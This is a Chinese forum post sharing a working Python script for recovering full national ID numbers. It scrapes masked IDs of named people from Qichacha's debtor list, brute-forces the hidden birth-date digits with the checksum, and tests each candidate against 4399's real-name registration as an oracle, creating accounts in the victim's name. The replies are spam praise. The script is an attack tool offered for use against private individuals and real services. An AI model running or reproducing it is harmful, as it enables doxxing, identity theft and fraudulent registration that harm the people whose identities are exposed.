推广赚钱 广告 全新升级

[攻防教程] 某查查 获取完整身份证号

  [复制链接]
查看4619 | 回复258 | 2022-3-19 14:58 | 显示全部楼层 |阅读模式
利用其它平台的实名检查接口查询具体号码
  1. import os
  2. import re
  3. import requests
  4. import time
  5. import execjs
  6. from bs4 import BeautifulSoup
  7. import calendar
  8. from enum import Enum
  9. from goto import with_goto
  10. import random
  11. class regstatus(Enum):
  12.     SUCCESS = 1
  13.     EXISTED = 1
  14.     VERIFY = 3
  15.     ERROR = 4
  16. def idEnd(c_id):
  17.     '''
  18.     c_id  #身份证号前17位
  19.     '''
  20.     if isinstance(c_id, str):
  21.         check_code=['1','0','X','9','8','7','6','5','4','3','2'] # 余数对应的校验码
  22.         factor=[7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2] # 身份证号对应的前17位加权因子
  23.         sum=0
  24.         for i in range(len(c_id)):
  25.             sum=sum int(c_id[i])*factor[i] # 身份证号每一位与对应加权因子相乘并求和
  26.         remainder=divmod(sum,11)[1] # 所得和对11取余数

  27.         return check_code[remainder]
  28.     elif isinstance(c_id, int):
  29.         idEnd(str(c_id))
  30.     else:
  31.         print("类型错误")
  32.         return None
  33. def retStr(s):
  34.     try:
  35.         if s<10:
  36.            return '0' str(s)
  37.         else:
  38.             return str(s)
  39.     except:
  40.         print("输入数字")
  41. def yue(yea):
  42.     # calendar.isleap(2000) 平年还是闰年
  43.     days = []
  44.     for m in range(1,13):
  45.         dayend = calendar.monthrange(yea, m)
  46.         # print('月',m,dayend)
  47.         #print("月",m,"天",dayend[1])
  48.         for d in range(1,dayend[1]):
  49.             days.append(retStr(m) retStr(d))
  50.     return  days
  51. def main17(c_id):
  52.     '''
  53.     c_id '4113221980****0679'
  54.     return ['411322198012110679']
  55.     '''
  56.     shide = []
  57.     if len(c_id)==18:
  58.         y = c_id[6:10]
  59.         days = yue(int(y))
  60.         for day in days:
  61.             d_id = c_id[:10] day c_id[14:17]
  62.             zuihos = idEnd(d_id)
  63.             if zuihos == str(c_id[-1:]):

  64.                 shide.append(d_id c_id[-1:] )
  65.         return shide
  66.     else:
  67.         return shide






















  68. reqsession = requests.session()


  69. urljs = 'https://blog.thenobleyou.com/cryptojs-aes.php'
  70. url = 'http://ptlogin.4399.com/ptlogin/regFrame.do'
  71. regurl = 'http://ptlogin.4399.com/ptlogin/register.do'
  72. captchaurl = 'http://ptlogin.4399.com/ptlogin/captcha.do'
  73. parser = {
  74.     "regMode":'reg_normal',
  75.     "postLoginHandler":'default',
  76.     "bizId":'',
  77.     "redirectUrl":'',
  78.     "displayMode":'popup',
  79.     "css":'',
  80.     "appId":'www_home',
  81.     "gameId":'',
  82.     "noEmail":'false',
  83.     "regIdcard":'false',
  84.     "autoLogin":'true',
  85.     "cid":'',
  86.     "aid":'',
  87.     "ref":'',
  88.     "level":'4',
  89.     "mainDivId":'popup_reg_div',
  90.     "includeFcmInfo":'false',
  91.     "externalLogin":'qq',
  92.     "fcmFakeValidate":'true',
  93.     "expandFcmInput":'true',
  94.     "userNameLabel":'4399用户名',
  95.     "userNameTip":'请输入4399用户名',
  96.     "welcomeTip":'欢迎回到4399',
  97.     "v":str(int(time.time()*1000)),
  98. }
  99. headers = {
  100.     'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'
  101. }
  102. captcha_params = None  # 是否有验证码
  103. jscomplie = None # js加载对象
  104. username = None # 4339的用户名
  105. qcccookie = None #企查查cookie
  106. resjs = reqsession.get(urljs,headers=headers).text
  107. jscomplie = execjs.compile(resjs)
  108. def init():
  109.     response = reqsession.get(url,params=parser,headers=headers)
  110.     global jscomplie,username,captcha_params,resjs

  111.     btsp = BeautifulSoup(response.text,'html.parser')

  112.     username = btsp.findAll('input',{'id':'j-username'})
  113.     for userna in username:
  114.         username = userna.get('value')
  115.     if len(username)==0:
  116.         username = str(random.randint(10000000000,9999999999999999999))
  117.     imgs = btsp.findAll('img',{'id':'captcha'})


  118.     for img in imgs:
  119.         ons = re.findall("'(.*?)'",img.get('onclick'))
  120.         captchaId = ons[0]
  121.         params = {
  122.             'captchaId':captchaId
  123.         }
  124.         captcha_params = params


  125. def savecatimg():
  126.     captimg = reqsession.get(captchaurl,headers=headers,params = captcha_params)
  127.     fileDir = './456.png'
  128.     with open(fileDir,'wb')as f:
  129.         f.write(captimg.content)

  130.     os.startfile(os.getcwd() '\\456.png')

  131. @with_goto
  132. def main(name,idsheng):

  133.     init()
  134.     ids = main17(idsheng)
  135.     for id_,i in zip(ids,range(0,len(ids))):

  136.         label.begin
  137.         regdata = {
  138.             "postLoginHandler":'default',
  139.             "displayMode":'popup',
  140.             "bizId":'',
  141.             "appId":'www_home',
  142.             "gameId":'',
  143.             "cid":'',
  144.             "externalLogin":'qq',
  145.             "aid":'',
  146.             "ref":'',
  147.             "css":'',
  148.             "redirectUrl":'',
  149.             "regMode":'reg_normal',
  150.             "sessionId":'',
  151.             "regIdcard":'true',
  152.             "noEmail":'',
  153.             "crossDomainIFrame":'',
  154.             "crossDomainUrl":'',
  155.             "mainDivId":'popup_reg_div',
  156.             "showRegInfo":'true',
  157.             "includeFcmInfo":'false',
  158.             "expandFcmInput":'true',
  159.             "fcmFakeValidate":'false',
  160.             "realnameValidate":'true',
  161.             "userNameLabel":'4399用户名',
  162.             "level":'4',
  163.             "sec":'1',
  164.             "password":jscomplie.call('encryptAES','456789'),
  165.             "passwordveri":jscomplie.call('encryptAES','456789'),
  166.             "realname":jscomplie.call('encryptAES',name),
  167.             "idcard":jscomplie.call('encryptAES',id_),
  168.             "username":username,
  169.             "email":'',
  170.             "reg_eula_agree":'on',
  171.             "autoLogin":'on',
  172.         }
  173.         if captcha_params:
  174.             regdata['sessionId'] = captcha_params['captchaId']
  175.             savecatimg()

  176.             regdata['inputCaptcha'] = str(input("请输入你所看到的验证码"))

  177.         try:
  178.             res = reqsession.post(regurl,data=regdata,headers=headers)
  179.         except:
  180.             print("网络连接超时")
  181.             exit()
  182.         btsp = BeautifulSoup(res.text,'html.parser')
  183.         msgs = btsp.findAll('div',{'id':'Msg'})
  184.         regstatu = None
  185.         # 注册失败会进入mags
  186.         for msg in msgs:
  187.             if msg.text.strip()=='姓名身份证不匹配':
  188.                 print("姓名身份证不匹配  身份id",id_)
  189.                 goto.end
  190.                 print("结束")
  191.                 break
  192.             elif msg.text.strip()=='用户名已被注册':
  193.                 print("用户名已被注册")
  194.                 regstatu = regstatus.EXISTED
  195.                 break
  196.             elif msg.text.strip()=='验证码错误':
  197.                 print('验证码输入错误',id_)
  198.                 goto.begin
  199.                 regstatu = regstatus.VERIFY
  200.                 break
  201.             else:
  202.                 # 未知错误

  203.                 print(res.text)
  204.                 print('未知错误')
  205.                 regstatu = regstatus.ERROR
  206.                 break
  207.         perinfos = btsp.findAll('div',{'class':'ptlogin_perinfo'})
  208.         for perinfo in perinfos:
  209.             print(username)
  210.             print(id_)
  211.             print("注册成功")
  212.             regstatu = regstatus.SUCCESS
  213.             break
  214.         if regstatu == regstatus.VERIFY:
  215.             # 需要验证码
  216.             goto.begin
  217.             pass

  218.         elif regstatu == regstatus.EXISTED:
  219.             # 用户已存在
  220.             break
  221.         elif regstatu == regstatus.ERROR:
  222.             # 未知错误
  223.             break
  224.         elif regstatu == regstatus.SUCCESS:
  225.             # 注册成功
  226.             break
  227.         label.end

  228. qccids = []
  229. def qccmain(name,page:int = 1):

  230.     qccurl = 'https://www.qcc.com/more_deadbeatlist'
  231.     headers['Cookie'] = qcccookie
  232.     params = {'key':name,'p':page}
  233.     resphtml = requests.get(qccurl,headers=headers,params=params).text
  234.     del headers['Cookie']
  235.     btsp = BeautifulSoup(resphtml,'html.parser')
  236.     idlists = btsp.findAll('span',{'class':'val'})

  237.     # currentactive = btsp.findAll('li', {'class': 'current active'})

  238.     for idlist,ind in zip(idlists,range(0,len(idlists))):
  239.         if not ind%2:
  240.             qccids.append(idlist.text)

  241.     if page == 1:
  242.         print("正在查询...")
  243.         endindex = 2
  244.         endpage = btsp.findAll('a', {'class': 'end'})
  245.         for pa in endpage:
  246.             endindex = int(pa.text)
  247.         for i in range(2,endindex 1):

  248.             qccmain(name,i)

  249. def starts():
  250.     global qcccookie

  251.     qcccookie = str(input("请输入企查查的Cookie"))
  252.     qccname = str(input("请输入要查询的姓名:"))
  253.     #qccname= '周润发'
  254.     #qccmain(qccname)
  255.     print("共查询到",len(qccids))
  256.     for s_id in qccids:
  257.         main(qccname, s_id)





  258. if __name__=="__main__":


  259.     starts()

  260.     #range(1, 5)
复制代码


蓝奏链接如访问不了把lanzous换成lanzoux或lanozui
;主题回复不显示隐藏内容就刷新页面;
sjwoxltywt | 2022-4-1 03:32 | 显示全部楼层
爱了爱了
回复

使用道具 举报

wiri4fp04z | 2022-4-1 11:09 | 显示全部楼层
真是被感动的痛哭流涕……
回复

使用道具 举报

季381 | 2022-4-3 09:44 | 显示全部楼层
看到这帖子真是高兴!
回复

使用道具 举报

qskqzhatoh | 2022-4-5 12:33 | 显示全部楼层
真是被感动的痛哭流涕……
回复

使用道具 举报

ctqzidaurr | 2022-4-12 15:05 | 显示全部楼层
强烈支持楼主ing……
回复

使用道具 举报

keafhzlgeb | 2022-4-23 20:04 | 显示全部楼层
楼主我爱你!
回复

使用道具 举报

s95540nyt5 | 2022-5-1 14:28 | 显示全部楼层
又是一技术帖!
回复

使用道具 举报

kcb81803h0 | 2022-5-2 18:22 | 显示全部楼层
无回帖,不论坛,这才是人道。|
回复

使用道具 举报

乔宛曼 | 2022-5-7 22:45 | 显示全部楼层
爱了爱了
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则